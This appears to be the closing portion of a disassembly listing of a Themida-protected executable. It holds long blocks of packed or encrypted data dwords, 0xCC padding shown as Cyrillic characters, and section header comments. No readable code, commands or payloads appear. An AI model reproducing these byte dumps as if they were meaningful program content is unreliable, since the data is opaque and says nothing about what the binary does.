		dd 9E977h, 0F8620000h, 0AB569254h, 66FB13A6h, 0E8BBD9BAh
		dd 11h,	0B93C863Eh, 98652915h, 0FD50DA2Ah, 39316CB4h, 0E7BB6687h
		dd 11E95EDFh, 0DC000000h, 0C28BF5CDh, 0E601B400h, 91559EE0h
		dd 10915EDDh, 45B4D38Ah, 10E9h,	746F3500h, 96FED67Eh, 51283E96h
		dd 0A028D711h, 0F5DE8AD8h, 0F8D18B66h, 0B35AB860h, 61FC2D93h
		dd 48C0Fh, 0B9660000h, 16BEF16Ch, 0E9663B81h, 0Bh, 0E9FBFEB5h
		dd 9657FDC5h, 0B7CF97CDh, 80DA8B35h, 8B666BF5h,	0F8F18BF8h
		dd 0BA66C78Bh, 0C881CBE9h, 43501E39h, 8E860h, 3F000000h
		dd 20D5A45Ah, 14E9ABBDh, 62000000h, 99169F1h, 499ADA14h
		dd 0CFB63500h, 0A94B748h, 5917184Ah, 0D2C18166h, 42B96145h
		dd 0E90B7A09h, 11h, 7EC701F7h, 0F0522747h, 382C95A3h, 7A110AA5h
		dd 8B66FC8Ah, 0E8FE8BC8h, 13h, 880AA2B6h, 15870D80h, 1EEDF377h
		dd 0E176D44Ah, 0B0B143BFh, 7E95B98h, 1F000000h,	0FDD9B978h
		dd 8A0FC783h, 3, 66CB8B66h, 0E58AF38Bh,	95CFB9BAh, 0EE9526Dh
		dd 4D000000h, 0E950667Fh, 7670C19Ch, 699ECC35h,	81665910h
		dd 0E8ACBFE9h, 6, 0D573B59Dh, 0C78145A5h, 31C4CE3Ah, 0B70FFC59h
		dd 0D78166D7h, 8166C3A4h, 0FAEE2C7h, 60F8C9BFh,	0D4B90EB7h
		dd 61155593h, 0C8BB2FB0h, 8017CE68h, 93B569E3h,	81F0BF0Fh
		dd 154FE6CEh, 0EE972h, 78380000h, 45A253B8h, 227C8836h
		dd 0BF225239h, 0BFB860F5h, 602A6D86h, 0EE9h, 89558600h
		dd 77CB5102h, 9182D3D9h, 0F5C2EECh, 8Eh, 60616100h, 41FBEB9h
		dd 0DE90Fh, 0AEEE0000h,	0C1802C9Dh, 4790AC6Ch, 61412A99h
		dd 589BF7BBh, 6237BE28h, 0BE93CB3h, 0E9000000h,	0A5E073CAh
		dd 0C5B557A2h, 0BF0FB031h, 0C8C0FD2h, 0F000000h, 681h
		dd 860F00h, 0B2000000h,	0DCEB80C0h, 0CE9F5h, 0E8120000h
		dd 0C9F734DFh, 8C310934h, 0EF817BB3h, 4945B0FFh, 5850Fh
		dd 81660000h, 8BC16AC6h, 5E9D8h, 2020000h, 0BE0FA95Ch
		dd 76BF8A67h, 66F7B70Fh, 4552E881h, 13E8h, 0FD391700h
		dd 610D6223h, 7A801F1Ah, 367F9D93h, 0BF05BDC2h,	6810Fh
		dd 0CB810000h, 2A6E007Ch, 0C44CBB5Ah, 8B661D2Ch, 93CE81CAh
		dd 0F91364DFh, 0BF273EBEh, 5E971h, 5F700000h, 0E9707DFEh
		dd 0Dh,	735C8CACh, 118F0452h, 38EC5B05h, 8E9E5h, 0F2380000h
		dd 951C566Dh, 0F88B034Fh, 0BB66E5B7h, 92BA95FFh, 0E949D1EEh
		dd 9, 0EBA92081h, 0AFD4E958h, 0F38166B5h, 8B664003h, 88E0FCEh
		dd 0F000000h, 289h, 0B45DB000h,	0F1BF6667h, 6E95Bh, 442C0000h
		dd 7F229248h, 8A7AD380h, 0CAB70FD8h, 11890Fh, 9E80000h
		dd 0F3000000h, 4C5D76E8h, 5BC714F4h, 0E9595E56h, 8, 0AB210767h
		dd 6B377C6Bh, 83BCCEBAh, 0F7BF0F20h, 0FD0B70Fh,	0F08BD9B7h
		dd 0E9816652h, 8159016Fh, 0A8038C7h, 128D0F49h,	0E9000000h
		dd 0Dh,	0F63F8CFDh, 282F08F8h, 0B8322B28h, 7E8ADh, 0F4E40000h
		dd 0B901716Ch, 0E85FF5E0h, 0Bh,	0B94B423Ah, 62CCF9BAh
		dd 5E8A1550h, 0FF1B70Fh, 0F8Eh,	0AE900h, 0EF6D0000h, 0F29D0C0Dh
		dd 0F7E1BEC0h, 7BF38166h, 0C6B70F11h, 868588B8h, 35B85237h
		dd 58697E04h, 8F0Fh, 81F90000h,	0D6E479CFh, 0BE968h, 0E970000h
		dd 0F348DB8Ah, 0E3F1FCCCh, 60C78BFDh, 7B06BE66h, 0AE9h
		dd 336D9100h, 0EA5B414h, 613AF868h, 128F0Fh, 0DE90000h
		dd 0D6000000h, 0D11746A0h, 0E18CDF30h, 79B617F5h, 0B70FEB8Ah
		dd 38A0FF0h, 0F000000h,	830FD7BFh, 19h,	14E9h, 54C78700h
		dd 0EFB7D9A3h, 7864D857h, 4140FD04h, 44B5F63h, 19850FA6h
		dd 0E9000000h, 14h, 61AC4BA7h, 0CB99964Bh, 0E38D8DBFh
		dd 665C3139h, 2A470B27h, 8B66CE8Bh, 16850FD3h, 0E9000000h
		dd 11h,	5D13B0F3h, 0DA0D2587h, 0B2EFACF9h, 0A9414662h
		dd 10E93Ah, 32420000h, 950A4189h, 0C24894CDh, 21935E0Fh
		dd 8E0FBBFFh, 0Ch, 6840Fh, 0DF810000h, 37CE8A06h, 0C8CAE081h
		dd 0D78B08B2h, 2840FF8h, 8B000000h, 1A840FC1h, 0F000000h
		dd 1481h, 0FE900h, 31D80000h, 8E6DFA2Dh, 41E22696h, 6917CADh
		dd 5FF9512Fh, 0FE8B8EB0h, 9E9h,	6BBD6000h, 0C841575Eh
		dd 0E9605138h, 0Bh, 22373D1Eh, 4D363072h, 6001D306h, 804DE8B8h
		dd 60F68026h, 8E0F6161h, 5, 0F0C976BEh,	0DE852h, 3900000h
		dd 0B1277CFBh, 852A6553h, 57637CD7h, 5BC0B70Fh,	8B66565Eh
		dd 5E85AF0h, 0CF000000h, 0EC921A22h, 87E6D781h,	565F6716h
		dd 10E8h, 8949F500h, 59C912CEh,	89590FF3h, 1AA508BEh, 0EE85Bh
		dd 8DC60000h, 311E82AEh, 87FF5DBBh, 0F3D4DDB7h,	0B95E5B5Ah
		dd 8947AEh, 53BFBA53h, 0F958274Eh, 8BCEF280h, 8B5F51C6h
		dd 870FC7h, 0FC000000h,	8166CF8Bh, 0E97C5AC6h, 5, 9D948039h
		dd 0B8A0F0Ah, 0E9000000h, 6, 1B7B1EECh,	0E8F9D6EDh, 0Ch
		dd 6EDE3209h, 699259F6h, 3DF62A3Ch, 0CEB70F5Bh,	0C5EABE66h
		dd 138C0Fh, 8E0F0000h, 0Dh, 8E9h, 389F2B00h, 0E5C394DEh
		dd 0CF8B660Bh, 1830Fh, 66F80000h, 4381C081h, 38F0Fh, 8B660000h
		dd 0F4D281F9h, 0F7B3F11h, 189h,	8153F500h, 669A2BD1h, 0DB81584Fh
		dd 4229626Bh, 2880Fh, 0D18B0000h, 22F1B966h, 58A0Fh, 81660000h
		dd 0F45FCD0h, 0AE9C8B7h, 0B2000000h, 9A837A10h,	0DA116A78h
		dd 0C08166F5h, 6E83C85h, 7D000000h, 0D3E7569h, 8E965h
		dd 889A0000h, 0CC9CDEB0h, 0F5B7DD7h, 8Ch, 0F7BF6600h, 8B66602Bh
		dd 8E9F2h, 0B0460000h, 25206D6Ch, 6061F5B0h, 29C1C981h
		dd 0CF814954h, 48A4876Eh, 8C0FF861h, 5,	8AD98166h, 0CA8053ECh
		dd 0BF0F5E07h, 0FBBA66D1h, 81C38AC9h, 0B4EA15C8h, 0E7816650h
		dd 840F3BC4h, 5, 695062BFh, 0F5D98B78h,	60F5CB8Bh, 0FC61FCF8h
		dd 61F860F8h, 8830Fh, 8C0F0000h, 2, 0EC80F78Ah,	12E831h
		dd 8D010000h, 0AA13672Fh, 8766D12h, 0EC96A46Dh,	26BFDEE5h
		dd 0FBF8E2BAh, 0CA815951h, 31ED773Dh, 0B9FB8B66h, 509BD78Eh
		dd 0C5FCBEh, 12E92Dh, 0A8940000h, 8C2A1229h, 8071DD42h
		dd 0D0CFCE9Ch, 0A841B74Bh, 0F7B6F2BFh, 68C0F59h, 81000000h
		dd 0ACC2F8CEh, 0E2BF5127h, 587D6124h, 8E9h, 0F774F600h
		dd 425E5C89h, 78CF8187h, 0E9648E25h, 0Ah, 0E79F403Bh, 97F947B0h
		dd 8D0F565Bh, 6, 0F7B0E381h, 0DE96645h,	58000000h, 5D35E14Ch
		dd 0F0A14809h, 2A13E7D8h, 66CF8B66h, 0BB66DF8Bh, 0EE9A4DAh
		dd 0F0000000h, 0DBAA9200h, 0A0BA16A8h, 89B37Ah,	9ABE6675h
		dd 0BEC0B3CDh, 43C6FBB8h, 18B0Fh, 60F50000h, 32C08153h
		dd 5F4F476Eh, 613EC680h, 88E0Fh, 66600000h, 8B66C28Bh
		dd 8D0F61F8h, 0
		dd 0C681DA8Bh, 3007E647h, 406B11BBh, 10E9600Dh,	5C000000h
		dd 0DBD8F4E0h, 663103A6h, 46C19AA2h, 53777966h,	615EDA8Bh
		dd 0E97CB660h, 13h, 1954B584h, 6875CBBFh, 0AFBE4649h, 9E73687Fh
		dd 61F1A4C6h, 66D2B70Fh, 0FF205B9h, 8156F1B7h, 246020EFh
		dd 9CB65B78h, 6E9h, 76EC9900h, 80A07449h, 0BE92FD2h, 1D000000h
		dd 0DC30D813h, 0DFE9A5E1h, 0BA66AD4Fh, 8F0FF8FAh, 4, 5E84B657h
		dd 2F1DC681h, 0CE8B7DDEh, 0BF0F5250h, 0E95B5BF1h, 12h
		dd 432C4657h, 44D0624Ch, 5074392Ch, 0DFE7C477h,	0C4B8C0BDh
		dd 662E4D8Fh, 0B3219DBAh, 0DDBA66AFh, 11E81Fh, 0BDAF0000h
		dd 0D978BF10h, 9943272Eh, 2D9DC93Eh, 808E2ECEh,	0F5F82C5h
		dd 588h, 0D8D8BA00h, 0F1817441h, 72468963h, 1ED88051h
		dd 0D081665Ah, 6EB0490Ah, 0F09EC181h, 0D68B0D18h, 14E8FCh
		dd 0A3E40000h, 0B813FDE9h, 3A3D33A4h, 7C170BD7h, 26949323h
		dd 800F2800h, 3, 5AC9B70Fh, 0F3DEF80h, 8C0FF3BFh, 3, 0FF98B66h
		dd 128Fh, 6E96000h, 0C4000000h,	0D3697389h, 0E1816652h
		dd 8161264Ch, 55958EC6h, 0D9BF0F50h, 3A42FBEh, 66CE8B0Fh
		dd 4D7FEB81h, 0EC1ECEBAh, 0CEBF560Ch, 5F6E3618h, 81BECE8Bh
		dd 0F457A96h, 0B8Ch, 5860F00h, 66000000h, 0F9DE281h, 32FA70AAh
		dd 2E5h	dup(32FA70ADh),	86E476ADh, 3CDh	dup(86E476B7h)
		dd 0B206C8B7h, 10Eh dup(0B206CFF0h), 6606CFF0h,	337h dup(662F2911h)
		dd 0AE2F2911h, 3Ch dup(0AE5265FCh), 0CCCC65FCh,	3C3h dup(0CCCCCCCCh)
dword_5BF180	dd 3A0h	dup(0CCCCCCCCh)	; DATA XREF: Themida_:0054C42Bo
asc_5C0000	db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
					; DATA XREF: Themida_:0053F134o
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл'
		db 'ллллллллллллллллллллллллллллллллллллллллллллллллллллллллллл',0
		align 1000h
Themida_	ends

; Section 5. (virtual address 001C1000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001C1000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5C1000h
		align 2000h
_idata2		ends


		end start